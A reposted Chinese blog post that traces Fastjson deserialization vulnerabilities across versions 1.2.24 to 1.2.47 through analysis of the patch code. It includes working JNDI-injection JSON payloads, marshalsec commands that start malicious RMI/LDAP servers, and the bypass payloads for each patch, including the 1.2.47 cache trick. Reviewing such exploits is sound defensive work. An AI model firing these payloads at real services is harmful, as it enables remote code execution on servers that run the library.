转载

Fastjson反序列化漏洞 1.2.24-1.2.48

讲漏洞前先来说下一些利用方式

来看下第一次漏洞的Poc,一个JNDI注入的利用

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

个人理解就是, JdbcRowSetImpl 这个类的 dataSourceName 支持传入一个rmi的源。

当解析这个uri的时候,就会支持rmi远程调用,去指定的rmi地址中去调用方法。

当远程rmi服务找不到对应方法时,可以指定一个远程class让请求方去调用,从而去获取我们恶意构造的class文件,从而RCE。

还有过程类似的LDAP利用方式

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://localhost:9999/Exploit","autoCommit":true}"

可以用 https://github.com/mbechler/marshalsec 很方便的启这两个服务

java -cp marshalsec.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8080/test/#Exploit
java -cp marshalsec.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8080/test/#Exploitt

需要注意的来了,这两种利用方式 有java版本限制 (一开始坑死我了)

  • 基于rmi的利用方式:适用jdk版本: JDK 6u132 , JDK 7u122 , JDK 8u113 之前。
  • 基于ldap的利用方式:适用jdk版本: JDK 11.0.18u1917u2016u211 之前。

因为java官方觉得让服务去请求远程的类的确是一个很危险的操作,所以在后来的版本中默认将这个功能关掉了。

可以看到ldap的利用范围是比rmi要大的,所以更推荐ldap的利用方式。

Fastjson 反序列化历程

1.2.24

修复前

类似于Jackson,Fastjson中也支持指定类的反序列化,只需要在json的key中添加 @type 即可。

但是一开始Fastjson是默认支持这个属性的,就是默认就可以反序列化任意类,自然而然地漏洞也就来了。

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.23</version>
</dependency>
payload = "{/"@type/":/"com.sun.rowset.JdbcRowSetImpl/",/"dataSourceName/":/"ldap://localhost:9999/Exploit/", /"autoCommit/":true}";
JSONObject.parseObject(payload);

就可以成功反序列化RCE,无需别的前置条件

修复后

再运行上面那段代码就会爆出这条错误

Fastjson反序列化漏洞 1.2.24-1.2.48

跟进可以看到新增了 checkAutoType 这个函数

可以看到我们这里的操作是被黑名单给拦截了

for (int i = 0; i < denyList.length; ++i) {
    String deny = denyList[i];
    if (className.startsWith(deny)) {
        throw new JSONException("autoType is not support. " + typeName);
    }
}

Fastjson反序列化漏洞 1.2.24-1.2.48

不仅如此,fastjson还默认关闭了反序列化任意类的操作,需要手动开启才行。

https://github.com/alibaba/fastjson/wiki/enable_autotype

1.2.42

修复前

这时候出现了第一次补丁的绕过(实际跟着看了下,发现其实好简单!)

在后面的 TypeUtils.loadClass 真正加载class类时,有这样一段代码

if (className.charAt(0) == '[') {
    Class<?> componentType = loadClass(className.substring(1), classLoader);
    return Array.newInstance(componentType, 0).getClass();
}

if (className.startsWith("L") && className.endsWith(";")) {
    String newClassName = className.substring(1, className.length() - 1);
    return loadClass(newClassName, classLoader);
}

可以看到在黑名单检测之后,当开头有 [ 或者 L; 时会去掉这些字符,从而造成了黑名单的绕过

所以可以通过如下方式进行攻击,不过需要手动开启 autoType ,至少相较于第一版的危害范围要小一些。(实测用 [ 时解析会报错。

ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{/"@type/":/"Lcom.sun.rowset.JdbcRowSetImpl;/",/"dataSourceName/":/"ldap://localhost:9999/Exploit/", /"autoCommit/":true}";
JSONObject.parseObject(payload);

修复后

if ((((BASIC
    ^ className.charAt(0))
    * PRIME)
    ^ className.charAt(className.length() - 1))
    * PRIME == 0x9198507b5af98f0L)
{
    if ((((BASIC
        ^ className.charAt(0))
        * PRIME)
        ^ className.charAt(1))
        * PRIME == 0x9195c07b5af5345L)
    {
        throw new JSONException("autoType is not support. " + typeName);
    }
    // 9195c07b5af5345
    className = className.substring(1, className.length() - 1);
}

大致意思就是,假如开头和结尾是 L; 就将头和尾去掉,再进行黑名单验证

还将之前的黑名单验证变成了hash的方式,防止安全人员进行研究

Fastjson反序列化漏洞 1.2.24-1.2.48

感觉这个确实好好绕过,再加一层 L; 不就可以了。

LLcom.sun.rowset.JdbcRowSetImpl;;

1.2.43

由于上个补丁的愚蠢方式,所以很快又出了这个补丁。

if ((((BASIC
    ^ className.charAt(0))
    * PRIME)
    ^ className.charAt(className.length() - 1))
    * PRIME == 0x9198507b5af98f0L)
{
    if ((((BASIC
        ^ className.charAt(0))
        * PRIME)
        ^ className.charAt(1))
        * PRIME == 0x9195c07b5af5345L)
    {
        throw new JSONException("autoType is not support. " + typeName);
    }
    // 9195c07b5af5345
    className = className.substring(1, className.length() - 1);
}

开头两个 LL 就会被抛出异常(好简洁暴力。。)

1.2.45

这回的绕过是黑名单被绕过,新增了个 org.apache.ibatis.datasource.jndi.JndiDataSourceFactory 的黑名单,由于在项目中使用的频率也较高,所以影响范围也比较大。

payload

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:9999/Exploit"}}

1.2.47

修复前

在后面的防御便是不断的添加黑名单列表,此时推荐大佬的项目,通过黑名单hash找到对应的类名

https://github.com/LeadroyaL/fastjson-blacklist

直到后来有一天,宁静的日子被打破,又出现了一个通杀洞,无需开启 autotype 通杀。(小声bb一句hw期间出了好多大洞

String payload = "{/"a/":{/"@type/":/"java.lang.Class/",/"val/":/"com.sun.rowset.JdbcRowSetImpl/"},/"b/":{/"@type/":/"com.sun.rowset.JdbcRowSetImpl/",/"dataSourceName/":/"ldap://localhost:9999/Exploit/",/"autoCommit/":true}}}";
JSONObject.parseObject(payload);

可以来看下这个json

{
    "a": {
        "@type": "java.lang.Class", 
        "val": "com.sun.rowset.JdbcRowSetImpl"
    }, 
    "b": {
        "@type": "com.sun.rowset.JdbcRowSetImpl", 
        "dataSourceName": "ldap://localhost:1389/Exploit", 
        "autoCommit": true
    }
}

据说其实这个payload一开始是被分为两段来打的,后来老哥们发现可以合成一段来发送,就避免了LB的干扰,导致payload打到不同的服务器。

可以一起来看下到底是怎么绕过 autotype 和黑名单验证的。

一开始反序列化的是 java.lang.Class 这个类,调试跟进可以看到是从 checkAutoType 这一段代码中获取到的类。

if (clazz == null) {
    clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
    if (expectClass != null
        && clazz != java.util.HashMap.class
        && !expectClass.isAssignableFrom(clazz)) {
        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
    }

    return clazz;
}

这个 deserializers 在一开始会对其中放入许多常用的类

private void initDeserializers() {
    ... // 太多了,就不贴了
}

然后在紧跟的代码中就直接返回了,还没到原本 autoTypeSupport 的判断。猜测本意是让Fastjson可以任意序列化一些基础的类。然后通过 java.lang.Class 获取到了 com.sun.rowset.JdbcRowSetImpl 类,然后重点来了。

loadClass 中,可以看到假如 cache 为true,就会把获取到的类缓存到 mapping 中(应该是为了提高效率)

ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
    clazz = contextClassLoader.loadClass(className);
    if (cache) {
        mappings.put(className, clazz);
    }
    return clazz;
}

然而这个 cache 在传入的时候默认就是 true

public static Class<?> loadClass(String className, ClassLoader classLoader) {
    return loadClass(className, classLoader, true);
}

于是,触发到第二段payload的时候,在 checkAutoType 函数中,就直接从缓存中获取到了 com.sun.rowset.JdbcRowSetImpl 这个类

if (clazz == null) {
    clazz = TypeUtils.getClassFromMapping(typeName);
}

if (clazz == null) {
    clazz = deserializers.findClass(typeName);
}

if (clazz != null) {
    if (expectClass != null
        && clazz != java.util.HashMap.class
        && !expectClass.isAssignableFrom(clazz)) {
        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
    }

    return clazz;
}

然后也是一样在还没有判断黑名单和 com.sun.rowset.JdbcRowSetImpl 的验证之前就return了。

修复后

将之前的 loadClass 中默认 cache 设置成了false。

public static Class<?> loadClass(String className, ClassLoader classLoader) {
    return loadClass(className, classLoader, false);
}

所以在第一次获取到 com.sun.rowset.JdbcRowSetImpl 这个类之后就不会缓存,到第二次的payload时也就取不到缓存的类,也就会进入到黑名单和 com.sun.rowset.JdbcRowSetImpl 的验证中了。

原文  https://www.kingkk.com/2019/07/Fastjson反序列化漏洞-1-2-24-1-2-48/
正文到此结束
Loading...